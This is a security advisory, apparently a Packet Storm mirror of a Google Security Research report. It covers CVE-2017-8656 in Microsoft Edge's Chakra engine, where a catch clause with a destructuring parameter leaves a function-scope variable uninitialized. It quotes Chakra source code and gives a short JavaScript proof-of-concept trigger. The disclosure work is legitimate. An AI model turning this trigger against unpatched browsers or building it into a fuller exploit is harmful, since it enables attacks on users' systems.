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HistoryAug 16, 2017 - 12:00 a.m.

Microsoft Edge Charka PreVisitCatch Missing Call

2017-08-1600:00:00
Google Security Research
packetstormsecurity.com
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0.913 High

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`Microsoft Edge: Chakra: PreVisitCatch doesn't call SetIsCatch for all cases   
  
CVE-2017-8656  
  
  
function trigger() {  
try {  
} catch (x) {  
var x = 1;  
}  
  
print(x);  
}  
  
trigger();  
  
When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars".  
  
void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo)  
{  
...  
for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext)  
{  
Symbol* sym = pnode->sxVar.sym;  
  
if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar()))  
{  
if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar()))  
{  
...  
sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope.  
...  
}  
}  
  
// Emit bytecode which initalizes "sym"  
}  
...  
}  
  
  
However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true.  
  
Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack.  
  
void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)  
{  
// Push the catch scope and add the catch expression to it.  
byteCodeGenerator->StartBindCatch(pnode);  
if (pnode->sxCatch.pnodeParam->nop == knopParamPattern)  
{  
Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item)  
{  
Symbol *sym = item->sxVar.sym;  
});  
}  
else  
{  
Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef;  
sym->SetIsCatch(true);  
pnode->sxCatch.pnodeParam->sxPid.sym = sym;  
}  
...  
}  
  
PoC:  
function trigger() {  
try {  
} catch ({x}) {  
var x = 1;  
}  
  
print(x);  
}  
  
trigger();  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`